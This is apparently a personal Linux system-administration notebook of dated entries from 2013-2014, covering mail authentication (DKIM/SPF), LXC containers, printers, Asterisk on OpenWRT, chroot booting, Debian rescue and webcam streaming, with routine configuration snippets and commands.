'dkim._domainkey.zwizwa.be:v=DKIM1;k=rsa;p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0IfXMYztqRebZRFmj8dm0I9lhNVVXM583buFfCZWOOC6DTYnej4FLZ0dHz1AIDJQIFzdR6zP3ZANHcmylbjzbTGXJdGocqB+67Z2/CEM1W9iev5edIWUk2Nbi0QKJx6rh2RnJzSM2grCAmC9sputdLTtCDUn6o2RGtid4dTiIxwSA3YVg9e92Vb7fz3zHSM3IhJWynFXNZdVtx9ssvboiYngz5yC12HPlYz2PIWwwtEDKWX3GCo90NLMwHjdPEt+n8wzGGFmuqNCOqthrrKeb0wIpSbabI3ulVIg0xMUO8C66/r5EUzpMhZv1h4U9j6T9O6g915WpFeCwNMAaVNO8wIDAQAB Note that tinydns record builder[16] uses generic records which doesn't work well for large packets. TXT records do work fine. DKIM fixed it: can send to gmail now. [1] https://support.google.com/mail/answer/2451690?hl=en&ref_topic=1669056 [2] https://support.google.com/mail/answer/180707?hl=en [3] https://support.google.com/mail/answer/81126 [4] http://support.google.com/a/bin/answer.py?hl=en&answer=178723&topic=2759192&ctx=topic [5] http://www.rackaid.com/resources/gmail-blacklist-removal/ [6] http://passwd.org/2009/09/exim-stripping-headers-authenticated-mail-relaying [7] http://www.dkim.org/ [8] http://marc.merlins.org/linux/exim/sa.html [9] https://wiki.debian.org/Exim#Spam_scanning [10] http://anders.com/projects/sysadmin/djbdnsRecordBuilder/#SPF [11] http://support.google.com/a/bin/answer.py?hl=en&answer=33786 [12] http://mxtoolbox.com/spf.aspx [13] http://support.google.com/a/bin/answer.py?hl=en&answer=175365 [14] http://www.maretmanu.org/homepage/inform/exim-spam.php#spam [15] http://mikepultz.com/2010/02/using-dkim-in-exim/ [16] http://anders.com/projects/sysadmin/djbdnsRecordBuilder/#domainKeys [17] http://support.google.com/a/bin/answer.py?hl=en&answer=168383 Entry: USB problems Date: Fri Aug 9 22:59:41 EDT 2013 Desktop has trouble with USB. Most notable when developing USB firmware with bugs. Got some lockups. Might be a Linux problem - still running 3.2 from Debian.. Try 3.9 from Sid? Entry: USA KVM servers Date: Sun Aug 18 23:01:29 EDT 2013 http://lovevps.com/xen/ http://lowendbox.com/tag/kvm/ search here: http://lowendbox.com/tag/kvm/ Entry: Ipkall verification Date: Fri Aug 16 11:57:31 EDT 2013 "","4153385516","123","incoming","""SNFC JUNPR CA"" <4153385516>","SIP/66.54.140.46-00000010","","Playback","demo-echotest","2013-08-16 08:23:55","2013-08-16 08:23:55","2013-08-16 08:23:58",3,3,"ANSWERED","DOCUMENTATION","1376641435.16","" http://800notes.com/Phone.aspx/1-415-338-5516 Entry: LXC Date: Sun Aug 18 19:53:58 EDT 2013 lxc-create -n <NAME> -t debian WARNING: This version of the lxc-debconfig template requires the live-debconfig package to configure the container. live-debconfig is available as of Debian 8.0 (jessie). Attempting to build a container based on any older Debian release *without* having a local copy of live-debconfig in /usr/share/lxc/packages/ on the host system will fail. Press enter to continue nevertheless, or Ctrl-c to abort.. This failed indeed. So I picked 8.0 instead of 7.0 [1] https://wiki.debian.org/LXC Entry: More notes on LXC config Date: Tue Aug 20 13:08:17 EDT 2013 Apparently on kimsufi the kernel doesn't support it: root@kimsufi:~# lxc-checkconfig --- Namespaces --- Namespaces: enabled Utsname namespace: enabled Ipc namespace: enabled Pid namespace: required User namespace: missing Network namespace: enabled Multiple /dev/pts instances: missing --- Control groups --- Cgroup: enabled Cgroup namespace: CONFIG_CGROUP_NSmissing Cgroup device: enabled Cgroup sched: missing Cgroup cpu account: enabled Cgroup memory controller: missing Cgroup cpuset: enabled --- Misc --- Veth pair device: missing Macvlan: missing Vlan: enabled File capabilities: enabled Other people complain[2][3]. No time to mess with this atm. [1] http://docs.opensvc.com/howto.lxc.html [2] http://laccetti.com/2013/01/removing-ovhkimsufis-terrible-kernel/ [3] http://blog.infertux.com/2012/11/05/how-to-install-a-vanilla-debian-on-a-kimsufi/ Entry: lxc Date: Fri Aug 23 10:23:59 EDT 2013 Can't login to lxc container? Auth goes well, then poof: # ssh -v root@dev32 ... Last login: Fri Aug 23 14:22:51 2013 from zoo.i debug1: client_input_channel_req: channel 0 rtype exit-status reply 0 debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0 debug1: channel 0: free: client-session, nchannels 1 Connection to dev32 closed. Transferred: sent 4056, received 3568 bytes, in 0.0 seconds Bytes per second: sent 188870.1, received 166146.1 debug1: Exit status 254 Probably has to do with /var/log/auth.log not being there.. After installing rsyslogd I got this error: Aug 23 14:39:15 localhost sshd[5482]: pam_loginuid(sshd:session): Cannot open /proc/self/loginuid: Read-only file system Aug 23 14:39:15 localhost sshd[5482]: pam_loginuid(sshd:session): set_loginuid failed Aug 23 14:39:15 localhost sshd[5482]: pam_unix(sshd:session): session opened for user root by (uid=0) Aug 23 14:39:15 localhost sshd[5482]: error: PAM: pam_open_session(): Cannot make/remove an entry for the specified session Aug 23 14:39:15 localhost sshd[5482]: Received disconnect from 192.168.6.8: 11: disconnected by user Workaround from [1] is to comment out the following line in /etc/pam.d/ssh: # session required pam_loginuid.so [1] http://kb.parallels.com/en/112597 Entry: apt-cyg or cyg-apt? Date: Sat Aug 24 17:36:38 EDT 2013 Am I confusing these two? ( Who picked that second name?? ) apt-cyg[1] seems to work wel, though cyg-apt not so.. [1] http://code.google.com/p/apt-cyg/ Entry: Visual Studio Express 2012 on XP? Date: Mon Aug 26 01:02:39 EDT 2013 Doesn't work: requires .NET 4.5 but that won't install on XP. Entry: I hate CUPS, part 123 Date: Mon Sep 2 18:09:00 EDT 2013 "/usr/lib/cups/filter/foomatic-rip failed" In /var/log/cups/error_log : D [02/Sep/2013:18:01:25 -0400] [Job 22] Cannot process "/var/spool/cups/d00022-001": Unknown filetype. D [02/Sep/2013:18:01:25 -0400] [Job 22] Process is dying with "Could not print file /var/spool/cups/d00022-001 D [02/Sep/2013:18:01:25 -0400] [Job 22] ", exit stat 2 Trying again, same error. File type is: znork:/var/spool/cups# file d00024-001 d00024-001: HP Printer Job Language data This is: evince -> cups zoo -> cups znork -> USB printer The zoo cups is doing the PS/PDF->HP conversion. This worked before. I think I recently upgraded cups on zoo, which might by why it is broken. Lets set the config at zoo to use Generic Postscript level 1: Foomatic/Postscript1 Now it seems to start. Yep that fixed it. And then I change the name and it spits out blank pages.. Crap! Entry: Internetcalls web login Date: Wed Sep 11 11:52:21 EDT 2013 Relevant part: <form action="https://www.internetcalls.com/login" method="post" class="form-detail"> <label for="login[username]">Username:</label> <input class="text-input" autocomplete="off" id="login[username]" name="login[username]" value="" /> <label for="login[password]">Password:</label> <input class="text-input" type="password" autocomplete="off" id="login[password]" name="login[password]" value="" /> <input class="button button-big" type="submit" value="Sign in" /> <div class="login-remember-me"> <input type="checkbox" class="checkbox" id="login[remember_me]" name="login[remember_me]" value="checked" /> <label class="label-remember" for="login[remember_me]">Remember Me</label>   |   <a href="https://www.internetcalls.com/retrieve_password/">Forgot your password?</a> | <a href="https://www.internetcalls.com/signup/">Register</a> <input type="hidden" id="a871b8c74044fed7fc5640876d37c776" name="a871b8c74044fed7fc5640876d37c776" value="b76aa2a8e37e15071a007d0c233118c3" /> </div> </form> Entry: Email triggers as spam Date: Mon Sep 30 12:49:14 EDT 2013 RP_MATCHES_RCVD,SPF_PASS,SUBJ_ALL_CAPS,T_DKIM_INVALID There is no doc for T_DKIM_INVALID http://wiki.apache.org/spamassassin/Rules/T_DKIM_INVALID The following were actually correct (relay server misconfig): http://wiki.apache.org/spamassassin/Rules/SPF_SOFTFAIL http://wiki.apache.org/spamassassin/Rules/RCVD_ILLEGAL_IP Entry: Ubuntu Network Manager Date: Tue Nov 12 12:31:41 EST 2013 Use 'nmcli' from command line: http://manpages.ubuntu.com/manpages/maverick/man1/nmcli.1.html Entry: iptables !@#$% Date: Tue Nov 12 12:55:35 EST 2013 It's hard to debug. Another hour of looking in the wrong spot: My non-release OpenWRT does not route between the LAN switch and WIFI. Entry: Asterisk 18 on OpenWrt AA Date: Tue Nov 26 10:27:26 EST 2013 Had to change this in sip.conf : -udpbindaddr=0.0.0.0 +udpbindaddr=192.168.11.1 Weird, because conf worked before on a working linux PC setup. Also, after tinkering I had to reboot to make registry work for one particular client. Firewall stuff? Entry: Asterisk OpenWRT AA: missing voice files Date: Wed Nov 27 10:04:17 EST 2013 [Nov 27 15:02:20] ERROR[6693]: pbx.c:3652 ast_func_read: Function CHANNEL not registered [Nov 27 15:02:20] ERROR[6693]: pbx.c:3732 ast_func_write: Function CDR not registered [Nov 27 15:02:20] WARNING[6693]: file.c:663 ast_openstream_full: File welcome does not ex [Nov 27 15:02:20] WARNING[6693]: file.c:958 ast_streamfile: Unable to open welcome (forma [Nov 27 15:02:20] WARNING[6693]: app_playback.c:475 playback_exec: ast_streamfile failed [Nov 27 15:02:20] WARNING[6693]: file.c:663 ast_openstream_full: File demo-echotest does [Nov 27 15:02:20] WARNING[6693]: file.c:958 ast_streamfile: Unable to open demo-echotest [Nov 27 15:02:20] WARNING[6693]: app_playback.c:475 playback_exec: ast_streamfile failed What openwrt package to install? Entry: ardour 3.4 build deps on debian (mix of wheezy and jessie) Date: Thu Dec 5 18:00:52 EST 2013 EDIT Mon Jan 20 14:54:41 CET 2014 sudo apt-get install \ uuid-dev \ libglibmm-2.4-dev \ libgtkmm-2.4 \ libgnomecanvasmm-2.6-dev \ libboost-dev \ libcurl4-openssl-dev \ liblo-dev \ libaubio-dev \ liblrdf-dev \ libsamplerate-dev \ lv2-dev \ libserd-dev \ libsord-dev \ libsratom-dev \ liblilv-dev git clone git://git.ardour.org/ardour/ardour.git cd ardour git checkout 3.4 ./waf configure ./waf sudo ./waf install Entry: Managing development machines Date: Fri Dec 6 10:30:40 EST 2013 I'm getting tired of manually setting up machines. LXC seems to be a neat common denominator. How to stanardize my dev image? Entry: xrandr dual screen? Date: Tue Dec 10 15:17:06 EST 2013 Cool! This[1] just works: xrandr --output HDMI1 --auto --right-of LVDS1 The trouble is then with the HDMI audio output. [1] http://www.thinkwiki.org/wiki/Xorg_RandR_1.2 Entry: Select HDMI output in Google Chrome using pulseaudio Date: Tue Dec 10 16:04:40 EST 2013 Starting the pulseaudio daemon before Chrome gets started will make Chrome use it: pulseaudio & Then just use pulseaudio to select the proper output pavucontrol Entry: LCD brightness Date: Thu Dec 19 03:04:50 EST 2013 cd /sys/class/backlight/intel_backlight/ echo 100 > brightness cat actual_brightness cat max_brightness [1] http://www.thinkwiki.org/wiki/LCD_Brightness Entry: Tether home network Date: Tue Dec 24 17:18:26 EST 2013 Comcast is out. How to connect router to the phone? I've got connectivity on the laptop. The easest way seems to be to just disconnect the modem and plug it into the laptop. Then add eth0 to br1 which is already setup for masquerading. # ifconfig eth0 up # brctl addif br1 eth0 Entry: courier auth smtp Date: Sat Jan 11 11:14:15 CET 2014 Generate certificate /usr/bin/openssl req -x509 -newkey rsa:1024 -keyout /etc/exim4/exim.key -out /etc/exim4/exim.crt -days 9000 -nodes Edit /etc/exim4/exim4.conf: # main section daemon_smtp_ports = smtp : 465 : 587 tls_on_connect_ports = 465 # begin authenticators # comment out sasl plain_courier_authdaemon: driver = plaintext public_name = PLAIN server_condition = \ ${if eq {${readsocket{/var/run/courier/authdaemon/socket}\ {AUTH ${strlen:exim\nlogin\n$2\n$3\n}\nexim\nlogin\n$2\n$3\n}}}{FAIL\n}{no}{yes}} server_set_id = $2 .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS server_advertise_condition = ${if eq{$tls_cipher}{}{}{*}} .endif login_courier_authdaemon: driver = plaintext public_name = LOGIN server_prompts = Username:: : Password:: server_condition = ${if eq {${readsocket{/var/run/courier/authdaemon/socket} \ {AUTH ${strlen:exim\nlogin\n$1\n$2\n}\nexim\nlogin\n$1\n$2\n}}}{FAIL\n}{no}{yes}} server_set_id = $1 .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS server_advertise_condition = ${if eq{$tls_cipher}{}{}{*}} .endif Don't forget to add in /etc/group: daemon:x:1:Debian-exim Entry: racket & fluxus Date: Sat Jan 11 18:01:52 CET 2014 git clone git@github.com:zwizwa/racket.git Entry: Getting google talk / hangouts to work again Date: Thu Jan 16 00:56:11 CET 2014 http://productforums.google.com/forum/#!topic/hangouts/vYsaeEnXJXs Using this plugin -rw-r--r-- 1 tom tom 12766698 Jan 15 23:59 google-talkplugin_current_amd64.deb tom@zni:~/download$ md5sum google-talkplugin_current_amd64.deb 6372efc66aefe7d300452370ebdc50cd google-talkplugin_current_amd64.deb With tom@zni:~$ dpkg -l google-chrome-beta Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) ||/ Name Version Architecture Description +++-======================================-========================-========================-================================================================================== ii google-chrome-beta 32.0.1700.77-1 amd64 The web browser from Google I CHANGED: 1. $ wget http://snapshot.debian.org/archive/debian/20130927T214600Z/pool/main/c/cairo/libcairo2_1.12.14-4_amd64.deb $ sudo dpkg -i libcairo2_1.12.14-4_amd64.deb 2. The symlink (/opt/google/chrome/lib/libudev.so.0 -> /lib/x86_64-linux-gnu/libudev.so.1) got things working for me too Trying the same for firefox: tom@zni:/usr/local/firefox$ sudo ln -s /lib/x86_64-linux-gnu/libudev.so.1 . Entry: Oracle Java on Debian Date: Wed Jan 22 13:05:55 CET 2014 https://wiki.debian.org/JavaPackage audo apt-get install java-package make-jpkg jdk-7u51-linux-x64.tar.gz sudo dpkg -i oracle-java7-jdk_7u51_amd64.deb Entry: Ports for ipad Date: Wed Jan 22 15:24:29 CET 2014 993 imaps 587 msa 465 smtps http://stackoverflow.com/questions/15796530/what-is-the-difference-between-ports-465-and-587 Entry: Racket from source Date: Sun Jan 26 11:07:48 CET 2014 Since fluxus needs to compile libraries and there is no longer a tgz for 64bit linux, it's time to switch to a more streamlined racket upgrade system. Build from source + create a debian package. Or it might be simpler to use: https://wiki.debian.org/CheckInstall ./configure --enable-shared --prefix=/usr/local make echo 'Racket with libraries from racket-5.92-src.tgz' >description-pak sudo checkinstall --pkgname=racket --pkgversion=5.92 make install I had to run the mkdir step manually - the install gave a 'no such file or directory' error for /usr/local/share/racket. mkdir -p "/usr/local/bin" "/usr/local/share/racket/collects" "/usr/local/share/doc/racket" "/usr/local/lib" "/usr/local/include/racket" "/usr/local/lib/racket" "/usr/local/share/racket" "/usr/local/etc/racket" "/usr/local/share/applications" "/usr/local/share/man" Entry: OpenJDK / ANT trouble Date: Sun Feb 9 14:03:41 CET 2014 Trying to debug a Java build problem. I don't know what I'm doing really. Loose ideas. tom@tx:~$ dpkg-query -l 'openjdk*' => remove all jdk 6 packages. Entry: apt-cyg Date: Mon Feb 17 10:42:52 CET 2014 Do not use cyg-apt (old, python based). wget https://raw2.github.com/rcmdnk/apt-cyg/master/apt-cyg apt-cyg -m http://ftp.snt.utwente.nl/pub/software/cygwin/ update Entry: Convert a bunch of documents to pdf? Use Imagemagick Date: Mon Mar 3 22:00:41 CET 2014 convert a.jpg b.png c.pdf output.pdf file size is decent too Entry: remove password from pdf Date: Sun Mar 9 13:02:43 CET 2014 Tried pdftk and qpdf. Didn't work properly. Simplest to open in evince, enter pw then print to pdf. [1] http://www.cyberciti.biz/faq/removing-password-from-pdf-on-linux/ Entry: git server on ssh Date: Mon Mar 17 20:04:21 CET 2014 git clone --bare ... EDIT: http://git-scm.com/docs/git-shell.html Entry: NAS debootstrap Date: Sun Mar 16 09:36:39 CET 2014 https://wiki.debian.org/ArmHardFloatChroot sudo apt-get install qemu-user-static # for qemu-debootstrap sudo qemu-debootstrap --no-check-gpg --arch=armhf sid debian ftp://ftp.be.debian.org/debian/ Entry: removing build tools Date: Fri Mar 21 06:56:02 EDT 2014 Jet-lag, cleanup day. Slimming down dev PC. - Belkin routers: F7D7301 v1: Removing dev tools from zni. Easy enough to restart: entry://../openwrt/20140321-081211 - Eventually ran into this: http://www.makeuseof.com/tag/how-to-analyze-your-disk-usage-pattern-in-linux/ http://www.marzocca.net/linux/baobab/index.html Entry: Thinking about organizing data Date: Sat Mar 22 05:59:51 EDT 2014 Problem: some data is: - large - readonly - private Most of this is pictures, movies and scanned documents. How to organize it better? Stuff like this should not be part of a "home directory" under linux. It should be in an abstract store. A home directory is a working directory. It should not be an archive.. Another part is deduplication. i.e. pictures are often copied between my home dir and my wife's. As for storage mechanism, the distinction between "working data" and "archive data" is that working data is often small, so it makes sense to put it on an ssd. Another thing about archive data is that it is not tied to a particular machine. So, some properties: archive - unique global singleton - large - read only / add only (includes git and darcs!) - indispensible - infrequent access - often private home, system: - per machine - small - read / write - dispensible - frequent access - often public The global nature allows to answer the important question: how much data do I need to carry around? As for implementation, an archive can be just a directory structure on an abstract disk. However it should be indexed for consistency, and have some kind of history. It seems best not to re-invent the wheel here, though I am tempted. There is something to say about a couple of local file systems that are somehow synced to perform "eventually consistent" file operations. Seems there is a lot of recent activity in this field due to cloud stuff: http://en.wikipedia.org/wiki/List_of_file_systems#Distributed_parallel_fault-tolerant_file_systems The main idea seems to be that file store needs to be: - centralized conceptually - distributed for access speed, fault-tolerance. One is named after my dog: http://en.wikipedia.org/wiki/Chiron_FS Entry: Chiron FS distributed file system Date: Sat Mar 22 06:35:50 EDT 2014 Interesting candidate is Chiron FS, though it seems to be no longer maintained. http://en.wikipedia.org/wiki/Chiron_FS I wrote something myself a while ago: http://zwizwa.be/darcs/tfs/ Entry: File blobs Date: Sat Mar 22 06:42:01 EDT 2014 The interesting part of using file blobs is that it essentially boils down to managing a tree of hashes. This could be stored in a revision control system like git. The blob sync can then be done in the background using rsync. Problem is that this model starts breaking down for small files. Entry: Using git? Date: Sat Mar 22 06:52:06 EDT 2014 http://stackoverflow.com/questions/540535/managing-large-binary-files-with-git http://git-annex.branchable.com/ Entry: Using "add only" updates? Date: Sat Mar 22 07:17:47 EDT 2014 Seems that using a manual "add only" policy (rsync.merge) together with a way to dedup files is a good aproach. Entry: Duplicate files Date: Sat Mar 22 07:55:01 EDT 2014 http://stackoverflow.com/questions/2109056/how-to-find-duplicate-files-with-same-name-but-in-different-case-that-exist-in-s http://www.commandlinefu.com/commands/view/3555/find-duplicate-files-based-on-size-first-then-md5-hash find -not -empty -type f -printf "%s\n" | sort -rn | uniq -d | xargs -I{} -n1 find -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate Entry: Tarring Date: Sat Mar 22 08:19:30 EDT 2014 Maybe it's best to tar things that are really never accessed and stored "just in case". This would make it easier to manage as well + data won't be indexed by updatedb. Entry: Managing git/darcs + archives Date: Sat Mar 22 09:01:22 EDT 2014 - Compact the data such that there are no small files. Those are very inefficient to handle. => TAR - Managed files (git / darcs) are updated manually using push/pull commands. - Unmanaged files in 'archive' are updated manually using rsync. Placing them in a single directory structure helps. - 'backup' doesn't contain original data Entry: Debian netinst Date: Sun Mar 23 10:37:35 CDT 2014 Straigtforward. Setup dnsmasq with this dnsmasq.conf: dhcp-boot=pxelinux.0 enable-tftp tftp-root=/var/lib/tftpboot and unpack netboot.tar.gz from: https://wiki.debian.org/PXEBootInstall ( Best to remove any existig tftpboot / pxe stuff - I managed to mess this up trying to use old setup.. ) Entry: Disable Ubuntu network manager Date: Mon Mar 24 02:21:01 EDT 2014 https://help.ubuntu.com/community/NetworkManager#Disabling_NetworkManager sudo stop network-manager echo "manual" | sudo tee /etc/init/network-manager.override Reason is that I want to create a bride on the wifi. Maybe it's possible to do this with nm as well? Entry: Boot into chroot? Date: Mon Mar 24 02:38:42 EDT 2014 http://unix.stackexchange.com/questions/43283/boot-into-chroot-directory-leaves-the-root-partition-read-only title Slackware Linux root (hd0,2) kernel /slack/boot/vmlinuz root=/dev/sda3 ro init=/slack/boot/chrootinit initrd /slack/boot/initrd.gz boot with /slack/boot/chrootinit: /bin/mount -o remount,rw / exec /usr/sbin/chroot /slack /sbin/init Entry: Boot into chroot Date: Mon Mar 24 09:14:50 CDT 2014 It's straightforward, but doesn't work 100% seamless. Key elements are: - in /etc/grub/40_custom menuentry 'Debian chroot' { recordfail load_video insmod gzio insmod part_msdos insmod ext2 set root='hd0,msdos5' echo 'Loading Debian chroot ...' linux /debian/vmlinuz root=/dev/sda5 ro init=/debian/boot/chrootinit echo 'Loading initial ramdisk ...' initrd /debian/initrd.img } do 'update-grub' after editing - in /debian/boot/chrootinit #!/bin/bash /bin/mount -o remount,rw / /bin/mount --bind /dev /debian/dev /bin/mount --bind / /debian/ubuntu exec /usr/bin/chroot /debian /sbin/init notes: - the bind mound of /dev is essential - could not get it to work withu the remount,rw though boot complains it can't do fschk - switched from uuid mount to hardcoded /dev/sda5 in fstab (might not be necessary) - something is not right with getty Entry: OpenWRT openssh Date: Thu Mar 27 10:22:38 EDT 2014 http://wiki.openwrt.org/inbox/replacingdropbearbyopensshserver Entry: Quagga Date: Thu Mar 27 13:46:37 EDT 2014 Yeah I forgot how it worked. New approach: static routes over VPNs for anything that is not a mobile device. Then figure out how to find mobile devices by associating each one to a full /24 network and using some routing algo. Entry: TP-Link AV200 Nano Date: Fri Mar 28 17:24:21 EDT 2014 Going for a cheap solution first. Idea is mostly to have internet access carrying from the living room cable access point up to my office. Seems to work well at first sight: ssh root@buffalo "cat /dev/zero" | pv >/dev/null 3 - 3.3 MB/sec ping buffalo 3.5 ms with cell phone charger removed it's 4MB/sec. Entry: Foomatic Date: Thu Apr 3 12:16:38 EDT 2014 # Brother HL-2140 driver (works on my HL-2240) apt-get install cups foomatic-db Entry: unban fail2ban Date: Sun Apr 13 10:29:48 EDT 2014 iptables -L fail2ban-ASTERISK iptables -D fail2ban-ASTERISK -s 1.2.3.4 -j DROP Entry: More asterisk IP logging for fail2ban Date: Mon Apr 14 08:37:35 EDT 2014 http://sourceforge.net/p/raspbx/discussion/tutorials/thread/6288a838/ Entry: Virtualbox on Windows and Linux host Date: Tue May 20 13:18:49 EDT 2014 I need a simple solution to run a Linux VM from different host computers, both running Windows and Linux. Speed isn't much of an issue so storing the image on a removable drive seems appropriate. It would be nice to allow a raw partition, so let's see if it's possible to do this in Virtualvox on Windows. [1] http://www.virtualbox.org/manual/ch09.html#rawdisk Entry: port forwarding Date: Tue May 20 13:51:21 EDT 2014 Instead of mucking around with iptables, it's much easier to use /etc/rinetd.conf : # listen -- forward <ip> <port> <ip> <port> Entry: Callcentric Date: Tue May 20 18:59:24 EDT 2014 Asterisk guide: https://my.callcentric.com/how_to_start.php?pid=3&device=59&go.x=79&go.y=22 Entry: Migrate/Upgrade Debian 7 Wheezy GNU/Linux from 32 bit to 64 bit Date: Wed Jul 9 13:42:35 EDT 2014 See here[1]. I messed up: forgot to boot into the 64bit kernel. No time to fix so I'm just going to use the debootstrap image. [1] http://www.ewan.cc/?q=node/90 Entry: ThinkServer TS140 and Radeon R9 270 Date: Wed Jul 9 14:39:34 EDT 2014 It seems the Radeon needs a separate power connection using two of the white 4-pin 5V/12V connectors, but the thinkserver has a non-standard power supply that doesn't provide these plugs. Also, I had to disconnect the front usb plug and remove the bottom drive bay to make the card fit at all. I will probably give up here and try a different PC for the R9 270. The Haswell internal graphics on the TS140 doesn't work properly on Wheezy. I put in a different card from the junk box which seems to work: 01:00.0 VGA compatible controller: Advanced Micro Devices [AMD] nee ATI Cedar PRO [Radeon HD 5450/6350] Entry: ubuntu fontconfig on debian Date: Thu Jul 10 00:37:56 UTC 2014 I think I used the version from precise last time since natty is no longer available. Seems to work. [1] http://noz3001.wordpress.com/2011/07/01/ubuntu-font-rendering-on-debian-wheezy/ [2] http://packages.ubuntu.com/precise/all/fontconfig-config/download Entry: Debian rescue Date: Fri Jul 11 16:45:03 EDT 2014 Managed to break booting on 2 pcs switching to systemd wheezy->jessie. One was fixable by mounting the main sata drive using a usb cable on a different PC. The other one got messed up. I only ever installed grub on a different machine using the old grub. I don't know how to do grub2 in a chroot on a different machine, so I'm booting Debian installer as rescue. Either use tftp or burn the netinst to a cd-r: https://www.debian.org/releases/wheezy/debian-installer/ Start it up mkdir /my-root mount /dev/sdx /my-root cp -av /dev/sd* /my-root/dev/ chroot /my-root mount -t proc proc /proc apt-get install grub-pc dpkg-reconfigure grub-pc then install some kernels Entry: Partition alignment Date: Mon Jul 14 18:44:57 EDT 2014 trial and error: (parted) mkpart primary 1024s 100% Warning: The resulting partition is not properly aligned for best performance. Ignore/Cancel? C (parted) mkpart primary 2048s 100% Entry: Multihead different servers Date: Mon Jul 14 19:23:00 EDT 2014 http://superuser.com/questions/71794/extend-linux-desktop-to-another-x-windows-display http://dmx.sourceforge.net/ Entry: Qemu NBD Date: Wed Jul 16 18:23:09 EDT 2014 Using qemu-nbd to mount an image as a network block device: modprobe nbd max_part=16 qemu-nbd -c /dev/nbd0 hd.img -> /dev/nbd0p* Entry: Magicolor 1650 smudges Date: Wed Jul 16 20:12:06 EDT 2014 1 by 1/3 cm smudges 94mm separation (roll circumferance) 2 distinct smudges: different shape, about 4 and 6 cm apart. getting fainter with each revolution color: closest to black but very faint there are impression marks to one side probably imaging unit http://crm01.konicaminoltaeurope.com/openmind/technic/engineer/printqual.nsf/published/F4D3EE827E3A2556C1257975003FFCE1?OpenDocument&rtk=openmind/technic/engineer/printqual.nsf/OpenView?OpenAgent&Start=51&Count=50&Filter1=All&Filter2=All&Filter3=All&Keyword=&Seg=&Switch=000&Query=0 Entry: Thinkserver ECC memory upgrade Date: Thu Jul 17 22:07:48 EDT 2014 http://www.crucial.com/usa/en/compatible-memory-for/Lenovo/thinkserver-ts140 Entry: Hang after frglx install Date: Sat Jul 19 01:22:08 EDT 2014 Sigh... some things never change. Good thing that this time I didn't try this on my main machine! Got the card mounted in the old acer box. After installing 14.4 of the ATI drivers: ls -al amd-catalyst-14-4-rev2-linux-x86-x86-64-may6.zip The last I see on the screen before boot hangsis: Loading kernel module radeon Console is still responsive. So next is probably safe boot + blacklist the radeon driver. Entry: Board zoo Date: Thu Jul 24 00:36:59 EDT 2014 - beagleboard xm: use for xbmc - belgkin routers: either run tomato or try again with current core to run reverse - old wrt routers: reverse points for network - pi: reserve Entry: console-kit-daemon Date: Thu Jul 24 20:57:50 EDT 2014 It seems it takes a lot of memory (2G) but that's just vsize, probably due to the large number of threads. rsize is about 4M. Entry: Betamax Date: Tue Jul 29 17:57:53 EDT 2014 internetcalls was cheapest for belgium 2.5 ct/min. also caller id doesn't work. 12voip.com is 9ct/min to BE mobile. powervoip.com doesn't have freecalls but is cheaper: Belgium (Landline) SuperDeal!** $ 0.001 $ 0.001 Belgium (Mobile) SuperDeal!** $ 0.001 $ 0.001 United States (Landline) SuperDeal!** $ 0.001 $ 0.001 United States (Mobile) $ 0.005 $ 0.006 Let's give it a try. Entry: 1650EN Date: Sat Aug 2 14:36:33 EDT 2014 Replaced both the imaging unit (A0VU011) and the fuser (A12J011) in the back. Problem is the fuser: some plastic on the roll was peeling off. New printer has the old units in it. I didn't want to change over the feeders and have to install the different mac address. Entry: checkinstall Date: Thu Aug 7 12:22:35 EDT 2014 place package in a directory nammed "my_package_thing" this will lead to a "my-package-thing" package. save the description. this will be saved in "description-pak" for use next time. Entry: web cam streaming Date: Sun Aug 10 09:39:14 EDT 2014 Requirements: - command line or other remote access to restart after power fail android: ip webcam[1] linux: vlc[2] or libprim/pdp hack openwrt: openWRT on zuk: connect to serial ttl usb 3.3V cable as colors are marked. tom@zoo:~$ picocom --baud 115200 /dev/ttyUSB1 For OpenWRT: - switch to client mode TODO: - android ip webcam -> data recorder - openwrt client mode - ffmpeg / ffserver on linux ffmpeg -f dshow -framerate 20 -i video=screen-capture-recorder -vf scale=1280:720 -vcodec libx264 -pix_fmt yuv420p -tune zerolatency -preset ultrafast -f mpegts udp://236.0.0.1:2000 # Running this connected to my laptop on wifi, I can see the traffic # on the router's wlan interface. Checked that it's not routed outside, avconv -s 320x240 -f video4linux2 -i /dev/video0 -f mpegts udp://236.0.0.1:2000 Multicast seems like a nice decentralized way to deal with this. How can it be played? Iptables config is necessary: -A INPUT -m pkttype --pkt-type multicast -j ACCEPT avconv -s 320x240 -f video4linux2 -i /dev/video0 -vcodec libx264 -pix_fmt yuv420p -tune zerolatency -preset ultrafast -f mpegts udp://239.0.0.1:2000 # same host pair works somewhat: avconv -s 320x240 -f video4linux2 -i /dev/video0 -f mpegts -vcodec mpeg4 udp://239.0.0.1:2000 ffplay udp://239.0.0.1:2000 but lots of junk coming out.. this needs a low bitrate codec i'm not finding what i need here... what about writing this from scratch? Redoing PF in rust? [1] https://play.google.com/store/apps/details?id=com.pas.webcam&hl=en [2] http://xmodulo.com/2013/09/live-stream-video-webcam-linux.html Entry: broke boot after upgrade Date: Sat Aug 23 02:46:40 CEST 2014 installed skype 4.3, then systemd got pulled in and broke boot. trying to run rescue from jessie netinst.iso on a usbstick (just dd) the 'Give root password for maintenance (or type Control-D for normal startup):' seems to be doubled up both instances are reading from the same tty which makes it impossible to type anything but a single letter so i booted rescue stick, created a script 's' with contents 'sleep 1000000' and booted recovery mode again and tried until 's' got executed. then killed the fsck that was running still EDIT: problem was a stale automatic /dev/sdc1 line in /etc/fstab Entry: freeSSH windows powershell Date: Wed Aug 27 13:17:25 CEST 2014 Install [1]. Then click in tray to get defaults. Add a user with SHA1 password auth. Set default shell to powershell instead of cmd. Make sure port 22 is allowed in windows firewall. More info [2][3]. [1] http://www.freesshd.com/freeSSHd.exe [2] http://hindenes.com/trondsworking/2012/05/17/run-powershell-through-ssh/ [3] http://www.windowsnetworking.com/articles-tutorials/windows-server-2008/install-SSH-Server-Windows-Server-2008.html Entry: Automatically mounting windows share on ubuntu Date: Wed Aug 27 15:51:06 CEST 2014 apt-get install cifs-utils # 